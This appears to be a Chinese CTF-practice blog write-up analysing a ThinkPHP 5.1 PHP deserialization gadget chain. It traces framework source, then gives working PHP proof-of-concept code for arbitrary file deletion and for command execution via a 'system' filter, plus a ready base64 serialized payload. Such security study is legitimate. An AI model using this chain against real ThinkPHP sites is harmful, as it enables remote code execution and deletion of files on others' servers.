《从0到1》配套练习:thinkphp5.1反序列化利用链
以5.x为例
在5.0中,thinkphp的结构目录主要变化是配置目录和定义路由独立了出来(且不可更改)
其目录结构如下图所示:
www WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改
│ ├─module_name 模块目录
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ ├─config 配置目录
│ │ └─ … 更多类库目录
│ │
│ ├─command.php 命令行定义文件
│ ├─common.php 公共函数文件
│ └─tags.php 应用行为扩展定义文件
│
├─config 应用配置目录
│ ├─module_name 模块配置目录
│ │ ├─database.php 数据库配置
│ │ ├─cache 缓存配置
│ │ └─ …
│ │
│ ├─app.php 应用配置
│ ├─cache.php 缓存配置
│ ├─cookie.php Cookie配置
│ ├─database.php 数据库配置
│ ├─log.php 日志配置
│ ├─session.php Session配置
│ ├─template.php 模板引擎配置
│ └─trace.php Trace配置
│
├─route 路由定义目录
│ ├─route.php 路由定义
│ └─… 更多
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ └─logo.png 框架LOGO文件
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
Think遵循惯例重于配置的原则,按照一下顺序来加载配置文件
惯例配置->应用配置->模块配置->动态配置
惯例配置:核心框架内置的配置文件,无需更改
应用配置:每个应用的全局配置文件(框架安装后会生成初始的应用配置文件),有部分配置参数仅能在应用配置文件中设置
模块配置:每个模块的配置文件(相同的配置参数会覆盖应用配置),有部分配置参数模块配置是无效的,因为已经使用过
动态配置:主要是指在控制器或者行为中进行(动态)更改配置,该配置方式只在当次请求有效,因为不会保存到配置文件中
完全开发手册
更多详情查看thinkphp开发手册
https://www.kancloud.cn/manual/thinkphp5_1/353946
Thinkphp 反序列化利用链深入分析
题目(源码为thinkphp 5.1)
函数跟踪
全局搜索__destruct()函数
在/thinkphp/library/think/process/pipes/Windows.php中找到
public function __destruct(){$this->close();$this->removeFiles();}
接着跟进removeFiles()函数
private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}
我们发现里面filename可控,因此可以存在任意文件删除漏洞
因此我们可以构造POC
<?phpnamespace think\process\pipes;class Pipes{}class Windows extends Pipes{private $files = [];private function __destruct(){$this->files = ['需要删除的文件(路径)'];}}$a = new Windows();echo base64_encode(serialize($a));
寻找触发点
在romoveFiles()函数中我们可以知道其使用file_exsits()来对$filename进行处理
file_exsits函数会把传入值作为字符串处理
而魔术方法__toString()则会当一个对象反序列后被当作字符串处理时触发,因此我们可以通过传入一个参数来触发__toString()
在\thinkphp\library\think\model\concern\Conversion.php中有toJson()方法
public function __toString(){return $this->toJson();}
接着我们跟进toJson()方法————>转换当前数据集为JSON字符串
public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}public function __toString(){return $this->toJson();}
再跟进 toArray()方法
public function toArray(){$item = [];$visible = [];$hidden = [];.....// 追加属性(必须定义获取器)if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);$relation->visible($name);}.....
我们需要在toArray()中找到一个满足$filename->方法(参数可控)的地方
这里我们跟进getRelation方法
public function getRelation($name = null){if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return;}
我们发现这里与&relation关联不大,因此我们可以跟进getAttr()函数
public function getAttr($name, &$item = null){try {$notFound = false;$value = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value = null;} ······
接着我们再跟进getData()方法
public function getData($name = null){if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);}
这里 我们知道,this->data[$name]。
同时,这里我们类的定义使用的是Trait
因此这里类的继承使用的是use关键字
接着我们需要找一个子类同时继承 Attribute 和 Conversion 类
在 \thinkphp\library\think\Model.ph中可以找到
abstract class Model implements \JsonSerializable,\ArrayAccess{use model\concern\Attribute;use model\concern\RelationShip;use model\concern\ModelEvent;use model\concern\TimeStamp;use model\concern\Conversion;
到此,我们需要审计的内容基本上就完成了。
执行分析
接下来我们需要寻找到一个好的触发点,比如魔术方法call()
因为call中一般存在 **call_user_func 和 **call_user_func_array
在/thinkphp/library/think/Request.php中我们可以找到这么一个__call函数
public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method);}
在这里我们看到hook是可以控制的,因此我们可以构造一个以它为数组的
这里我们可以构造参数传入给$method
但是由于这里array_unshif会导致传入的数组的新值放在数组开头,这样就会导致我们构造传入的payload无法使用
在thinkphp的Reuqests中还有一个filter方法去执行代码
我们全局搜索一下寻找$filter可控的点
private function filterValue(&$value, $key, $filters)
接着我们继续寻找$value可控的点
public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}....// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter);}
但是这里我们发现input函数的参数不可控,可以通过寻找调用了input函数的函数向上寻找找到param函数
public function param($name = '', $default = null, $filter = ''){......if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);}
这里我们发现这里我们依旧无法控制参数输入的值,继续寻找能调用param函数的地方,我们找到了isAjax函数
public function isAjax($ajax = false){$value = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}
这里我们发现$result = this->config[‘var_ajax’]) ? true : name,再相应的,我们可以控制input中的
name就可以由isAjax中的$this->config[‘var_ajax’]来控制
再看到input函数中有$data = data, $name);
我们跟进getData函数
protected function getData(array $data, $name){foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];} else {return;}}return $data;}
我们可以知道这里$data = val]
接着我们再看看getFilter函数,寻找$filter参数的控制点
protected function getFilter($filter, $default){if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter;}
这里我们知道$filter = $filter ?: filter为函数名
回过头我们看到input函数中有这么一段
if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);
array_walk_recursive——>对数组中的每个成员递归地应用用户函数(回调函数
我们跟进filterValue函数
private function filterValue(&$value, $key, $filters){$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 调用函数或者方法过滤$value = call_user_func($filter, $value);} elseif (is_scalar($value)) {if (false !== strpos($filter, '/')) {// 正则过滤if (!preg_match($filter, $value)) {// 匹配不成功返回默认值$value = $default;break;}.......
分析可知,filter
于是我们继续构造POC:
<?phpnamespace think;abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["ethan"=>["calc.exe","calc"]];$this->data = ["ethan"=>new Request()];}}class Request{protected $hook = [];protected $filter = "system";protected $config = [// 表单请求类型伪装变量'var_method' => '_method',// 表单ajax伪装变量'var_ajax' => '_ajax',// 表单pjax伪装变量'var_pjax' => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo' => 's',// 兼容PATH_INFO获取'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter' => '',// 域名根,如thinkphp.cn'url_domain_root' => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip' => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix' => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];}}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{private $files = [];public function __construct(){$this->files=[new Pivot()];}}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>
利用
我们需要再index.php中构建一个新的利用点
写入
$str = base64_decode($_POST['a']);unserialize($str);
接着我们传入
GET:?ethan=calcPOST:a=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czo4OiJjYWxjLmV4ZSI7aToxO3M6NDoiY2FsYyI7fX1zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjU6ImV0aGFuIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjk7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czowOiIiO319fX19fQ==
则可成功利用
(这里本来想用博客园图床上传成功截图的,但是好像被拦截无法显示。。。下次尝试把图片放云服务器上
总结
在漏洞寻找的开始,我们可以通过寻找__destruct等魔术方法来寻找漏洞的存在点,再通过不断跟进函数来寻找可控点
在寻找可执行处(代码执行点)的时候,我们可以跟进像__call魔术方法从而调用__call_user_func等函数来寻找可执行的点
本人菜鸡,希望师傅们能帮忙指出出其中的错误,并且希望能指点孩子几句有什么可以提高的地方
题目练习
红帽杯2019 Ticket_System
